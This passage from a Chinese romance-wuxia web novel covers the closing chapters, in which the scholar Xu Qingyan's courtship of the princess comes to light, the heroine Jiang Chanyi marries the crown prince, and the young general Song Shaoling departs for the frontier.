不过因他近日繁忙,无暇顾及其他,与徐清宴也许久不见,这才毫无察觉。 “何时相识?” 徐清宴掩下心虚,道:“就上次,百善楼,我被薛二的马车撞了,救我的那位姑娘正是公主殿下。” 他是后来在露华台见到跟在太子身后的公主,才知道那日说他百无一用是书生的是谢崇的嫡亲妹妹。 公主自也认出了他,宴会后将他堵在了露华台外,居高临下的问他可就是新科状元郎,而后便问起他与太子姜蝉衣宋少凌在江湖中的诸事,公主对江湖很感兴趣,而那些趣事一次也说不完,如此一来二去,二人便渐渐熟识了。 几日前,公主将他堵在御史台,问他今日要不要去放花灯,乞巧节上男女一起放花灯意味着什么不言而喻。 徐清宴应下了。 二人之间的暧昧的窗户纸这才被隐隐戳破。 这也是为何他们至今没同谢崇说起这段关系的缘由。 徐清宴本打算今日之后去同谢崇坦白,再请外祖父出面提亲,可没想到今日被撞见个正着。 谢崇自然记得那日之事,他应该早就察觉的。 他记得徐清宴那日说过,救他的姑娘手持鞭子,训斥薛二。 放眼京都,符合这两点的人委实不多,只不过那时他满心满眼都是许久不见的蝉衣,竟未去深思。 “……要不,先寻个地方坐下说话?”一片静默中,姜蝉衣提议道。 谢崇定定看了徐清宴几息,淡声道:“明日,来趟东宫。” 徐清宴应了声好。 谢崇遂不再言语,折身离开,姜蝉衣朝徐清宴使了个眼色,道:“敏砚,天色已晚,你先送公主回宫吧。” 徐清宴自也说好。 玉千洲遥遥与徐清宴颔首道别,拉着宣则灵走出了巷子。 目送几人离开,谢瑜深吸一口气,道:“明日我去吧,你别管。” 徐清宴看着强压下紧张神色的公主,失笑道:“公主不必紧张,我本也打算明日请见太子殿下,放心,我与太子殿下乃是多年好友,太子殿下不会因此为难我。” 其实正因为是好友,他心中才有些忐忑。 这件事到底是他有失考量,若易地而处,好友瞒着自己与妹妹在一处,他也必不可能冷静的下来。 然事已至此,只能硬着头皮去致歉。 “当真?” 谢瑜忐忑道:“可我见皇兄好像真生气了。” 徐清宴自然感觉到了,但还是轻声安抚道:“放心,没事的。” “天色不早了,我送公主回宫吧。” 谢瑜低头看了眼二人握着的手,眼眸中闪过一丝光亮,嘴上却道:“本公主有暗卫随行,哪需要你一介书生送,还不知谁保护谁呢,我先送你回去吧。” 徐清宴默了默,面无表情道:“若太子殿下知道是公主送我回府,我大约明日连东宫都进不了。” 谢瑜皱眉想了想:“那行,你送我回宫,我再让暗卫送你回府。” 徐清宴正要开口,谢瑜就瞪着他,一把拽走:“就这么决定了,走!” 徐清宴被拉的差点一踉跄:“公主慢点。” “磨磨蹭蹭!”谢瑜:“快点,趁时间还早,我们去趟醉星楼。” 徐清宴:“去醉星楼作甚?” “你不是说醉星楼的点心好吃吗,我要去尝尝,你啰嗦什么,去不去?” 徐清宴看着公主瞪圆的双眼,眉眼一弯:“去,但醉星楼要预约。” “本公主有玉家玉牌,你快些。” “好好好,知道了。” _ 玉千洲宣则灵出了巷子就同谢崇二人分别,回了明亲王府。 谢崇则送姜蝉衣回相国府。 上了马车,姜蝉衣打量了眼谢崇,握住他的手,试探问道:“生气了?” 谢崇反握住他的手,轻笑道:“初时有些,这会儿已气过了。” 姜蝉衣哦了声:“你可是生气徐清宴瞒着你?” 谢崇没有否认。 徐清宴他了解,他做妹妹驸马,他乐见其成,只这么大的事他竟一直瞒着他,若今日他没发现,他们又打算瞒他到什么时候。 妹妹年纪小便罢了,他竟也跟着胡闹。 “或许是还没来得及呢。”姜蝉衣道。 谢崇嗯了声,道:“明日再看他如何说。” 姜蝉衣点头:“嗯。” 这件事她也很惊讶,她从没想到徐清宴竟然会和公主有了交集。 不过虽然出乎意料,但细想想,也未尝不是一桩好事。 “对了,我曾经听宋少凌说,他被公主追着打了几天几夜,可我感觉公主其实很好相处。” 半点不像宋少凌口中的小辣椒。 谢崇弯了弯唇:“大概,因人而异。” 第89章 第 89 章 她也会永远保护阿兄…… 次日, 徐清宴一下早朝便去了东宫,直至日落时分方才出来。 一出来,便碰上疾步过来的谢瑜, 看见他,谢瑜怔了怔, 快步跑到他跟前:“你没事吧。” 徐清宴拱手见了礼,才答道:“无事,殿下怎么来了?” 谢瑜皱眉道:“我见你半日都没出来这才过来, 皇兄可是为难你了?” 徐清宴摇头:“不曾。” 他用了两刻钟便解释完了事情来龙去脉, 之后一直陪着太子下棋。 谢崇说, 赢他一局,答应他娶公主。 可是太子何等人, 他又怎赢得过。 婚事,还有得磨。 “那皇兄如何说?”谢瑜追问道。 徐清宴想了想,道:“不急, 且些日子,对了,我听太子殿下说,公主在学诗词?” 谢瑜神色有些不自然的偏过头:“谁学了,不过是为独自出宫找的借口。” 徐清宴盯她片刻, 低声笑了笑,俯首道:“是吗, 可臣还听说, 公主殿下前些日子买了一间书铺,搬了许多书回宫。” 谢瑜皱眉瞪他一眼:“我买书铺怎么了,与你何干!” 说罢,她便转身离开。 徐清宴抿着笑不紧不慢跟在她身后, 直到二人走到相对隐蔽的转角,他才突然加快脚步,一把拉住公主的手,将她困在墙边,低头看着她温声道:“公主是为臣而学?” 谢瑜挣了挣,没挣脱,眉头一横,道:“本公主想学什么便学什么!你放开!” 徐清宴没有松手,只盯着公主看了片刻,才缓缓道:“公主不必如此。” “臣心悦公主,并不在意公主会不会作诗,会不会写词,臣不愿见公主为了臣做自己不喜欢的事。” 公主骄傲耀眼,光彩照人,就该高高在上,无需为任何人低头。 他自会踮起脚尖去拥抱她。 谢瑜被他这般看着,脸色微微泛红,心也砰砰跳的飞快,但嘴还是硬的:“我说没有便是没有,是我自己想学!” “好。” 徐清宴道:“既然是公主想学,那不如由臣教公主?” 谢瑜没想到他会这么说,但话都放这儿了,再反口多丢面子,重重点头:“好啊,那现在就去学!” 徐清宴不反驳,由她拉着他去了。 半个时辰后。 徐清宴立在书案旁看着趴在桌子上沉睡的公主,无声笑了笑。 他轻轻从她手中将笔拿走,用帕子温柔擦去沾在脸上的墨,又给她搭上一件披风,才坐回原位去。 约摸一个时辰过去,谢瑜缓缓醒来,一睁眼就看见坐在下首看书的徐清宴。 她心虚的眨了眨眼,坐直身子,解释:“我昨夜没睡好。” 徐清宴闻言抬头看过来,公主刚睡醒,脸颊微微泛着红晕,他挪开视线,放下书起身道:“臣看过了,公主买回来的这些书,臣都很喜欢,不如公主送给臣可好?” 谢瑜一顿,快速扫了眼殿中才多出来没几日的书架,怔了怔,试探道:“你真喜欢?” 她买时是真心想学,但买回来看不进去也是真的。 她每日课业已经很足够了。 徐清宴点头:“嗯,真心喜欢。” 谢瑜偷偷呼出一口气:“那行,我待会儿就让人全都给你送去。” “多谢公主。” 徐清宴道了谢,便告退道:“臣该回去了。” 谢瑜低低喔了声,心头暗自懊悔,本就难得见他一面,她怎么就睡着了! 心头想留人,又难为情。 憋了半天,公主道:“不如,你留下用完午膳再走吧?” 徐清宴心中自是不想拒绝,但他知道,于理不合,若他真留下用午膳,太子这局棋,他更难赢了,遂温声道:“臣还有公务在身,不便多留。” 谢瑜面露失落的哦了声。 徐清宴见此,便又迈不动脚,沉思片刻,道:“公主赠书,臣感激不尽,若公主明日有空,臣做东,请公主在百善楼用饭?” 谢瑜眼睛立刻亮了起来,点头:“好,那就这么说定了!” 徐清宴笑着点头:“好。” “那臣先告退。” “嗯,去吧。” 徐清宴走出几步,又停住,回身看向公主道:“公主习武,臣从文,一文一武,甚是相宜。” 说罢,便折身离去。 谢瑜愣愣盯着他的背影,直到身影消失,她才堪堪回神,抚了抚发烫的脸颊,压着笑嘟囔了句:“清欢说的果然不过,读书人最油腔滑调。” 谢瑜在书架旁边转了几圈,终是唤道:“来人,将这些书全部给状元郎送去,书架也一并送去。” 他说的对,一文一武,甚是相宜。 她不会诗词,他会就行了。 她只需要保护他就好了。 _ 时间飞逝,一眨眼已是冬日。 一入冬,相国府开始忙碌起来,相国嫡女婚期将至,府中喜气洋洋,没个人好像都很忙碌,反倒是新娘子,最是清闲。 姜蝉衣无聊之时便寻褚方绎下棋。 褚方绎只要不当值,便都陪着她。 兄妹二人最常用来打发时间的是下棋,姜蝉衣赢少输多,她不在意结果,只想混时间。 婚期越近,越紧张。 近几日,下棋已经无法让她静下心来,开始寻谷雨过招。 谷雨师承天子暗卫,与姜蝉衣旗鼓相当,对手难遇,能酣畅淋漓的打一场自是令人欢喜,只是,每日一场就有些遭不住了。 今日姜蝉衣过来,谷雨便不在府中了,她失落的哦了声,又拉着褚方绎下棋。 褚方绎见她连着失了几子,便知道她心绪难宁,干脆收了棋子,道:“我陪妹妹在府中走走吧。” 姜蝉衣无可无不可。 兄妹二人缓缓往园中行去。 “还有几日就是大婚,可准备好了?” 姜蝉衣道:“除了试婚服,没什么需要我准备的。” 褚方绎但笑不语。 按规矩,宫中该有嬷嬷来教几日宫规,可嬷嬷每日只教半个时辰便走,想也知道是太子授意,母亲也请了绣娘绣嫁衣,如此一来,新娘子可不就清闲了。 又走一会儿,姜蝉衣突然想起什么,问:“对了,阿兄为何不愿入内阁?” 谢崇说过,阿兄乃首辅之才,可阿兄却不愿入内阁。 褚方绎眼眸微闪了闪,好一会儿才道:“有些事没有想通,想通了或许就好了。” 姜蝉衣还欲追问,便被他打断:“宫中不比外头,规矩众多,若不习惯……” 不习惯好像也无用。 身为储妃,肩上便有了责任,不再能随心随意。 姜蝉衣对此心里早有准备,接过兄长未说完的话:“若不习惯,我偷偷出来。” 褚方绎见她笑意盎然,便知这是句玩笑话,道:“妹妹心中有数便好。” 姜蝉衣深吸一口气,道:“我这些日子偶尔进宫,他似乎有意让我知晓他每日是如何过的,我长在江湖,生性自由,阿兄和他都担心我会不适应,可是,有人的地方就是江湖,皇宫又何尝不是?” 褚方绎微微一怔。 “于我而言,有他在,有亲人好友在,不管在哪里,日子都能过得好。” 姜蝉衣抬头笑看着长兄:“阿兄总是担心我,可我却觉得阿兄心里藏着事,很多时候并不开心。” “阿兄,我虽不知道阿兄为何事忧烦,不过,不管什么事,不让自己留遗憾便好。” 褚方绎看着反倒安慰自己的妹妹,心中一时感慨万千。 他似乎,不如妹妹通透。 半晌后,他徒自一笑,道:“妹妹所言甚是。” “不过,阿兄还是那句话,若受了委屈,尽管来寻阿兄,阿兄永远都会在你身后。” 姜蝉衣笑着点头:“好。” 她也永远会保护阿兄。 第 90 章【正文完】 第90章 第 90 章 正文完 储君大婚, 普天同庆。 姜蝉衣天还没亮便被女使如兰唤了起来,更衣沐浴梳妆,一套流程下来天光已是大亮, 乔月华抽空来了姜蝉衣闺房,看着即将出嫁的女儿忍不住红了眼眶。 孩子一岁离开她的身边, 十八岁回来,这还没相处多少时日便又要嫁人了,任谁舍得。 “母亲, 我会常回来看您的。” 姜蝉衣见母亲落泪, 轻声安抚着。 乔月华抹了泪道:“哪有嫁了人还整日往娘家跑的道理。” 说着, 她递给姜蝉衣一个匣子,道:“进了宫中, 少不得打点之处,这是母亲这些年为你攒下的嫁妆,都带着。” 姜蝉衣鼻尖一酸, 接过匣子道:“多谢母亲。” 之后,乔月华屏退下人,同姜蝉衣说了好一会儿话才出房门,如兰进去时,姜蝉衣脸上还泛着红, 她会心一笑,不多询问。 随着宾客陆续登门, 褚方绎乔家姐妹都来给姜蝉衣添了妆, 送走他们,姜蝉衣不时朝门口望一眼,似乎在等着什么人。 如兰见此猜测道:“姑娘可是在等白姑娘?” 姜蝉衣轻轻点头。 师妹曾说过她大婚之日会来京都,因宋少凌她后来没有再刻意问过, 也不知道她今日会不会来。 如兰宽慰道:“白姑娘与姑娘姐妹情深,定是会来的,许是路上耽搁了。” 姜蝉衣嗯了声,师妹便是不来,她也能理解。 如兰见此也就不再多说,只让人在外头盯着,一旦白姑娘到了,立刻将人请过来。 大约过了小半个时辰,如兰面带喜色的到了姜蝉衣跟前:“姑娘,白姑娘到了。” 姜蝉衣面上一喜,忙要迎出去,被如兰拦住:“姑娘,吉时快到了,新娘子这会儿不能出门,姑娘在此等等,白姑娘已经往这边来了。” 听如兰这般说,姜蝉衣才又坐了回去,没等多久,白安渝便在仆从的引领下紧了屋,师姐妹一打照面,姜蝉衣便快步走过来抱着她:“师妹,你来了。” 白安渝笑着回抱姜蝉衣:“嗯,师姐大婚,我自要来。” 如兰贴心的屏退下人,将空间留给许久不见的师姐妹。 二人寒暄过后,姜蝉衣握住她的手道:“其实,你便是不来,也无妨。” 白安渝自知晓她的言外之意,笑了笑道:“师姐无需为我担心,今日人这么多,不一定会碰见,对了,师弟原也是要来的,只是这两日被事务缠身,无法前来,托我向师妹带句祝福,还有门中师弟师妹都给师妹带了礼物,因东西太多,我已交给府中管事。” 姜蝉衣心中熨帖,道:“嗯,待我年后有空就回师门。” 师父给她的新婚礼物几日前便送到了。 “嗯。” 白安渝点头:“师姐的院子一直都会留着。” 二人又说了会儿话,鞭炮声便响起,却是吉时已到,该出门了。 “徐大人随太子殿下一起来的,与大公子斗了几个回合的诗大公子才放他过了关,武比是沐公子与宋小将军比的,比的是箭术勉强打个平手。”如兰边伺候新娘子出门,边禀报门外的情景:“宋小将军让沐公子负重跳了一百下才让了门。” 话说完,如兰才觉失言,忙看了眼白安渝,见白安渝正将团扇递给姜蝉衣,面色平静,她才轻轻松了口气。 姜蝉衣接过团扇,轻笑道:“算起来,宋少凌徐清宴确实与我先相识,若非徐清宴与公主定情,今日合该他二人一同拦门。” 白安渝但笑不语。 徐清宴与公主之事她已在信中知晓,虽然诧异,却又觉得似在情理之中。 状元郎与公主殿下,谁能说不相配呢。 姜蝉衣踏出房门,褚方绎早已等候多时,弯腰背妹妹出门。 到了前院,拜别双亲,姜蝉衣才在喜婆子的簇拥下出门。 太子銮舆停在门口,太子殿下迎上阶梯握住姜蝉衣的手,将她引至銮舆之上,锣鼓喧天,鞭炮齐鸣。 太子銮舆绕街而行,约一个时辰才入宫门。 入了宫,自又是一番繁琐礼仪,待一切结束,天色都已经暗了。 谢崇被拉走喝酒,好在有沐玄机和小郡王帮忙拦了些许,才不至于在新婚夜醉了酒。 太子的脚步声在屋外响起,靠在床边假寐的姜蝉衣忙睁开眼,坐直身子。 今日一天实在累人,即便心头紧张,也还是架不住困意小憩了会儿。 新娘子虽以团扇遮面,但还是能感觉到太子离她越来越近。 熟悉的龙涎香中夹杂着一股淡淡的酒气,再配着新房中昏黄的烛火,不由叫人心跳加速。 团扇缓缓挪开,身边的床稍微往下陷,姜蝉衣抬眸看向身旁的人,太子一身婚服,衬的那张脸好看的令人心惊,对上那双深邃而温柔的眼神,姜蝉衣竟有几分慌乱的挪开了视线,想到今日母亲所说的那些,脸开始发烫。 却不知新娘子此时躲闪的眼神有多么的勾人。 谢崇伸手握住她的手,嗓音微沉:“可吃了东西?” 姜蝉衣点头:“吃过了。” 谢崇难得见她露出这般娇羞模样,又往她身边挪了挪,伸手揽住她的腰身,将她扣向自己,也迫使她迎面直视着他。 “那,就寝吧?” 姜蝉衣自然明白这是何意。 这些日子二人不是没有亲近过,偶尔情到浓时也会拥抱亲吻,但也仅限于此。 而今日,显然是不一样的。 姜蝉衣虽觊觎眼前人已久,但到底无甚经验,心砰砰跳的飞快,偏太子定定的看着她,似非要等她一个回答。 姜蝉衣实在架不住这阵仗,心一横,主动吻了上去。 谢崇微微怔了怔后,腰间的手更用力几分,反客为主将人压在了床上,红帐落下,夜色撩人,守在新房外的宫人听的面红耳赤。 这一夜屋里要了三次水,直到天光大亮才歇停下来。 也非太子不知怜惜,后头两次是新娘子先动的手。 都是觊觎了多年的人,好不容到了手,可不就是干柴与烈火,越烧越旺- 宋少凌作为两方好友,后又到东宫吃了酒,人醉的厉害,徐清宴送他回去。 在马车上,他说,他看见白安渝了。 徐清宴没有接话。 他也看见了。 新娘子出来时,白姑娘就在不远处相送。 他当时下意识看向宋少凌,却见宋少凌只在看新娘子,他还以为他没有看见她。 “你若想见她,我送你去相国府。” 过了许久,宋少凌倒在他腿上,低声嘟囔了句:“不见了。” 他清晰的看见,宋少凌的眼角落下了一行泪。 这些日子,他与小郡王小郡主将京都闹的天翻地覆,看起来好像什么也没发生过,他以为时间一久他或许就能忘了。 可是,少年时爱上的姑娘,哪有那么容易忘记。 徐清宴轻轻叹了口气。 若真无缘,他希望,这是他最后一次见到白姑娘。 但这时的徐清宴还不知道,有些人,注定是要纠缠一生的。 宋大将军年后便回了边关,宋少凌与宋嫣宁自也一道。 大军出发这日,太子和储妃亲来城门口送行,徐清宴也在其中,就在前一夜,四人已经在百善楼为宋少凌践过行,该说的话也都说完了。 宋小将军拱手作别,翻身上马,一身铠甲意气风发。 从前每次分别,宋少凌都是走的最快的那一个,后来他们才明白,他一直都害怕分别,战场之上刀剑无眼,一同上去的兄弟不一定全都能回来,所以,他不喜欢与人道别。 这一次也一样,宋少凌拉着缰绳最后看了几人一眼,干脆果断的调转马头疾驰而去。 三人远远看着他的背影,心头都觉沉甸甸的。 到头来,只有宋少凌是一个人,与他们不在一方天地。 直到队伍消失在尽头,谢崇才开口道:“回吧。” 徐清宴挪开视线,缓缓转身。 他希望往后余生,他的好友宋少凌都能得偿所愿,安平一生。 姜蝉衣最后望了眼宋少凌消失的地方。 她希望宋少凌永远如初见一般,明朗耀眼,少年气十足,可人都会长大,他也不是随心所欲的侠盗,赏金猎人,他是随父镇守边疆保家卫国的小将军。 昨夜,他说他可能不会再闯江湖了。 他平不尽天下不平事,但他找到了他要去守护的东西,他说他活着一日,边疆就会有一日的安宁。 三人并肩往回走着,各自消化着心中的酸楚和不舍。 这回,他们没有约定再见。 因为他们都清楚,再见之日,遥遥无期。 而就在此时,已经走远的小将军突然勒住马绳,往回看了一眼,他已看不见城墙,只静静地盯着城门口的方向。 少年眼里的光依旧,只多了深邃与复杂。 他们,还会再见的。 山水有相逢,来日方长,江湖缘未尽。 正文完